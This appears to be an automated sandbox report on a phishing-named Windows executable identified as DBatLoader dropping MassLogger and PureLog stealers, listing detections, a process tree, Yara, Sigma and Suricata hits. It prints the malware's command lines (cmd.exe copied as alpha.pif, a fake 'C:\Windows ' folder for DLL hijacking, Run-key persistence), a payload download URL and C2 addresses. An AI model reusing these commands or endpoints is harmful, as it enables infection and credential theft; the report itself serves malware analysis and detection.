Edit tour

Windows Analysis Report
PURCHASE REQUIRED DETAILS 000487958790903403.exe

Overview

General Information

Sample name:	PURCHASE REQUIRED DETAILS 000487958790903403.exe
Analysis ID:	1572131
MD5:	cbeea46a413d2f3d7166104d79788062
SHA1:	6bca74ac8ef6b5a5377dbd0cac8ce783dda2b080
SHA256:	5250d7820ffe465180b022c710bb170b02d1aeb8fbb4c530c5e039d4259009ef
Tags:	exeuser-abuse_ch
Infos:

Detection

DBatLoader, MassLogger RAT, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DBatLoader

Yara detected MassLogger RAT

Yara detected PureLog Stealer

AI detected suspicious sample

Allocates many large memory junks

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to behave differently if execute on a Russian/Kazak computer

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Creates files in the system32 config directory

Creates files inside the volume driver (system volume information)

Drops PE files to the user root directory

Drops PE files with a suspicious file extension

Drops executable to a common third party application directory

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Found direct / indirect Syscall (likely to bypass EDR)

Infects executable files (exe, dll, sys, html)

Initial sample is a PE file and has a suspicious name

Machine Learning detection for dropped file

Sample uses process hollowing technique

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Program Location with Network Connections

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the user directory

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Enables driver privileges

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious Outbound SMTP Connections

Spawns drivers

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

PURCHASE REQUIRED DETAILS 000487958790903403.exe (PID: 7608 cmdline: "C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe" MD5: CBEEA46A413D2F3D7166104D79788062)

cmd.exe (PID: 7852 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\ymafvvdS.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

esentutl.exe (PID: 7912 cmdline: C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o MD5: 5F5105050FBE68E930486635C5557F84)

esentutl.exe (PID: 8164 cmdline: C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o MD5: 5F5105050FBE68E930486635C5557F84)

alpha.pif (PID: 940 cmdline: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

alpha.pif (PID: 1592 cmdline: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

alpha.pif (PID: 2528 cmdline: C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

xpha.pif (PID: 2776 cmdline: C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10 MD5: B3624DD758CCECF93A1226CEF252CA12)

alpha.pif (PID: 4196 cmdline: C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

alpha.pif (PID: 6896 cmdline: C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

alpha.pif (PID: 7644 cmdline: C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

esentutl.exe (PID: 7948 cmdline: C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe /d C:\\Users\\Public\\Libraries\\Sdvvfamy.PIF /o MD5: 5F5105050FBE68E930486635C5557F84)

conhost.exe (PID: 7956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ymafvvdS.pif (PID: 7996 cmdline: C:\Users\Public\Libraries\ymafvvdS.pif MD5: C116D3604CEAFE7057D77FF27552C215)

armsvc.exe (PID: 8124 cmdline: "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe" MD5: BD3B960B1EFB321AF06FE54D1D30C855)

alg.exe (PID: 7276 cmdline: C:\Windows\System32\alg.exe MD5: 1F7F4AE415948A1027E513F2D23B8A5B)

AppVStrm.sys (PID: 4 cmdline: MD5: BDA55F89B69757320BC125FF1CB53B26)

AppvVemgr.sys (PID: 4 cmdline: MD5: E70EE9B57F8D771E2F4D6E6B535F6757)

AppvVfs.sys (PID: 4 cmdline: MD5: 2CBABD729D5E746B6BD8DC1B4B4DB1E1)

AppVClient.exe (PID: 3556 cmdline: C:\Windows\system32\AppVClient.exe MD5: 500275C60FCB5B035FD81A2BA2CB2073)

FXSSVC.exe (PID: 2876 cmdline: C:\Windows\system32\fxssvc.exe MD5: 3117CDDE7FDB0851FDBCA3E7FDB7A142)

elevation_service.exe (PID: 4192 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe" MD5: 6A2E9C13C2A578F9FC128F26D48FC3D7)

maintenanceservice.exe (PID: 6184 cmdline: "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe" MD5: 5AF7A965937863A10C99D5EC19A974A5)

msdtc.exe (PID: 6556 cmdline: C:\Windows\System32\msdtc.exe MD5: 7AE7553BA674284A076D19A633F7EFF0)

PerceptionSimulationService.exe (PID: 3436 cmdline: C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe MD5: 93CC0F7EAE7D58C22855106B435E4B64)

perfhost.exe (PID: 5508 cmdline: C:\Windows\SysWow64\perfhost.exe MD5: B5FDD433E07825BDB9C6B8F563B00FDE)

Locator.exe (PID: 7508 cmdline: C:\Windows\system32\locator.exe MD5: 979F07784823EB9149D134FBAB0B4376)

SensorDataService.exe (PID: 6228 cmdline: C:\Windows\System32\SensorDataService.exe MD5: 3F2AB6CB57E7A0604E4E19795A526BD3)

snmptrap.exe (PID: 7420 cmdline: C:\Windows\System32\snmptrap.exe MD5: 9E84CEFC497519C8483A6623FAD6ED3D)

Spectrum.exe (PID: 4120 cmdline: C:\Windows\system32\spectrum.exe MD5: 07D3656AD4DF3DADDEDA88F101DE735C)

ssh-agent.exe (PID: 7624 cmdline: C:\Windows\System32\OpenSSH\ssh-agent.exe MD5: A5F4C6CB650242AC4B9D281D7FB3AD95)

TieringEngineService.exe (PID: 7832 cmdline: C:\Windows\system32\TieringEngineService.exe MD5: ADFE5C8879C41AEA47D22E19AC1F0F44)

AgentService.exe (PID: 6980 cmdline: C:\Windows\system32\AgentService.exe MD5: 11EB7B63D45B07D2E9811E4D818A0174)

vds.exe (PID: 5320 cmdline: C:\Windows\System32\vds.exe MD5: 680F459932662444F71FD678EBDF4171)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://lwaziacademy.com/royal/233_Sdvvfamydeo"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1430067996.000000007F9E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000009.00000001.1572297626.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 5F 88 44 24 2B 88 44 24 2F B0 80 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000000.00000003.1429580611.000000007FB90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1a6f0:$a1: get_encryptedPassword 0x1a6c4:$a2: get_encryptedUsername 0x1a788:$a3: get_timePasswordChanged 0x1a6a0:$a4: get_passwordField 0x1a706:$a5: set_encryptedPassword 0x1a4d3:$a7: get_logins 0x19a41:$a8: GetOutlookPasswords 0x18f55:$a9: StartKeylogger 0x179af:$a10: KeyLoggerEventArgs 0x1797e:$a11: KeyLoggerEventArgsEventHandler 0x1a5a7:$a13: _encryptedPassword
Process Memory Space: PURCHASE REQUIRED DETAILS 000487958790903403.exe PID: 7608	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: ymafvvdS.pif PID: 7996	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: ymafvvdS.pif PID: 7996	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1f6d7b:$a1: get_encryptedPassword 0x1f6d4f:$a2: get_encryptedUsername 0x1f6e13:$a3: get_timePasswordChanged 0x1f6d2b:$a4: get_passwordField 0x1f6d91:$a5: set_encryptedPassword 0x1f6b67:$a7: get_logins 0x1f613f:$a8: GetOutlookPasswords 0x1f570f:$a9: StartKeylogger 0x1f4288:$a10: KeyLoggerEventArgs 0x1f4257:$a11: KeyLoggerEventArgsEventHandler 0x1f6c32:$a13: _encryptedPassword
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.3.ymafvvdS.pif.24742da8.17.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
9.3.ymafvvdS.pif.24742da8.17.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.3.ymafvvdS.pif.24742da8.17.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x19948:$a1: get_encryptedPassword 0x1991c:$a2: get_encryptedUsername 0x199e0:$a3: get_timePasswordChanged 0x198f8:$a4: get_passwordField 0x1995e:$a5: set_encryptedPassword 0x1972b:$a7: get_logins 0x18c99:$a8: GetOutlookPasswords 0x181ad:$a9: StartKeylogger 0x16c07:$a10: KeyLoggerEventArgs 0x16bd6:$a11: KeyLoggerEventArgsEventHandler 0x197ff:$a13: _encryptedPassword
9.3.ymafvvdS.pif.24590000.925.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
9.3.ymafvvdS.pif.24590000.925.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.3.ymafvvdS.pif.24590000.925.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1cb0f0:$a1: get_encryptedPassword 0x1cb0c4:$a2: get_encryptedUsername 0x1cb188:$a3: get_timePasswordChanged 0x1cb0a0:$a4: get_passwordField 0x1cb106:$a5: set_encryptedPassword 0x1caed3:$a7: get_logins 0x1ca441:$a8: GetOutlookPasswords 0x1c9955:$a9: StartKeylogger 0x1c83af:$a10: KeyLoggerEventArgs 0x1c837e:$a11: KeyLoggerEventArgsEventHandler 0x1cafa7:$a13: _encryptedPassword
9.1.ymafvvdS.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 5F 88 44 24 2B 88 44 24 2F B0 80 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
9.3.ymafvvdS.pif.24742da8.17.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
9.3.ymafvvdS.pif.24742da8.17.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.3.ymafvvdS.pif.24742da8.17.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x17b48:$a1: get_encryptedPassword 0x17b1c:$a2: get_encryptedUsername 0x17be0:$a3: get_timePasswordChanged 0x17af8:$a4: get_passwordField 0x17b5e:$a5: set_encryptedPassword 0x1792b:$a7: get_logins 0x16e99:$a8: GetOutlookPasswords 0x163ad:$a9: StartKeylogger 0x14e07:$a10: KeyLoggerEventArgs 0x14dd6:$a11: KeyLoggerEventArgsEventHandler 0x179ff:$a13: _encryptedPassword
9.1.ymafvvdS.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 5F 88 44 24 2B 88 44 24 2F B0 80 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0.2.PURCHASE REQUIRED DETAILS 000487958790903403.exe.2b10000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe, ProcessId: 7608, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\ymafvvdS.pif, CommandLine: C:\Users\Public\Libraries\ymafvvdS.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\ymafvvdS.pif, NewProcessName: C:\Users\Public\Libraries\ymafvvdS.pif, OriginalFileName: C:\Users\Public\Libraries\ymafvvdS.pif, ParentCommandLine: "C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe", ParentImage: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe, ParentProcessId: 7608, ParentProcessName: PURCHASE REQUIRED DETAILS 000487958790903403.exe, ProcessCommandLine: C:\Users\Public\Libraries\ymafvvdS.pif, ProcessId: 7996, ProcessName: ymafvvdS.pif

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Sdvvfamy.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe, ProcessId: 7608, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Sdvvfamy

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DesusertionIp: 54.244.188.177, DesusertionIsIpv6: false, DesusertionPort: 80, EventID: 3, Image: C:\Users\Public\Libraries\ymafvvdS.pif, Initiated: true, ProcessId: 7996, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49709

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Sdvvfamy.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe, ProcessId: 7608, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Sdvvfamy

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\ymafvvdS.pif, CommandLine: C:\Users\Public\Libraries\ymafvvdS.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\ymafvvdS.pif, NewProcessName: C:\Users\Public\Libraries\ymafvvdS.pif, OriginalFileName: C:\Users\Public\Libraries\ymafvvdS.pif, ParentCommandLine: "C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe", ParentImage: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe, ParentProcessId: 7608, ParentProcessName: PURCHASE REQUIRED DETAILS 000487958790903403.exe, ProcessCommandLine: C:\Users\Public\Libraries\ymafvvdS.pif, ProcessId: 7996, ProcessName: ymafvvdS.pif

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DesusertionIp: 103.20.200.105, DesusertionIsIpv6: false, DesusertionPort: 587, EventID: 3, Image: C:\Users\Public\Libraries\ymafvvdS.pif, Initiated: true, ProcessId: 7996, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49725

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:05:23.409269+0100	2028371	3	Unknown Traffic	192.168.2.9	49707	41.185.8.252	443	TCP

ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:05:54.224970+0100	2051649	1	A Network Trojan was detected	192.168.2.9	51600	1.1.1.1	53	UDP
2024-12-10T07:05:56.230614+0100	2051649	1	A Network Trojan was detected	192.168.2.9	62925	1.1.1.1	53	UDP

ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:05:42.927993+0100	2051648	1	A Network Trojan was detected	192.168.2.9	49551	1.1.1.1	53	UDP
2024-12-10T07:05:46.083996+0100	2051648	1	A Network Trojan was detected	192.168.2.9	64135	1.1.1.1	53	UDP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:05:42.961779+0100	2018141	1	A Network Trojan was detected	18.141.10.107	80	192.168.2.9	49718	TCP
2024-12-10T07:05:44.675082+0100	2018141	1	A Network Trojan was detected	54.244.188.177	80	192.168.2.9	49720	TCP
2024-12-10T07:05:46.096205+0100	2018141	1	A Network Trojan was detected	44.221.84.105	80	192.168.2.9	49723	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:05:42.961779+0100	2037771	1	A Network Trojan was detected	18.141.10.107	80	192.168.2.9	49718	TCP
2024-12-10T07:05:44.675082+0100	2037771	1	A Network Trojan was detected	54.244.188.177	80	192.168.2.9	49720	TCP
2024-12-10T07:05:46.096205+0100	2037771	1	A Network Trojan was detected	44.221.84.105	80	192.168.2.9	49723	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:05:36.654151+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49710	158.101.44.242	80	TCP
2024-12-10T07:05:45.913984+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49710	158.101.44.242	80	TCP

ETPRO MALWARE Win32/Expiro.NDO CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:05:36.062119+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.9	49709	54.244.188.177	80	TCP
2024-12-10T07:06:43.512348+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.9	49737	82.112.184.197	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Infector.Gen

Found malware configuration

Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe

Malware Configuration Extractor: DBatLoader {"Download Url": ["https://lwaziacademy.com/royal/233_Sdvvfamydeo"]}

Multi AV Scanner detection for submitted file

Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe	ReversingLabs: Detection: 36%
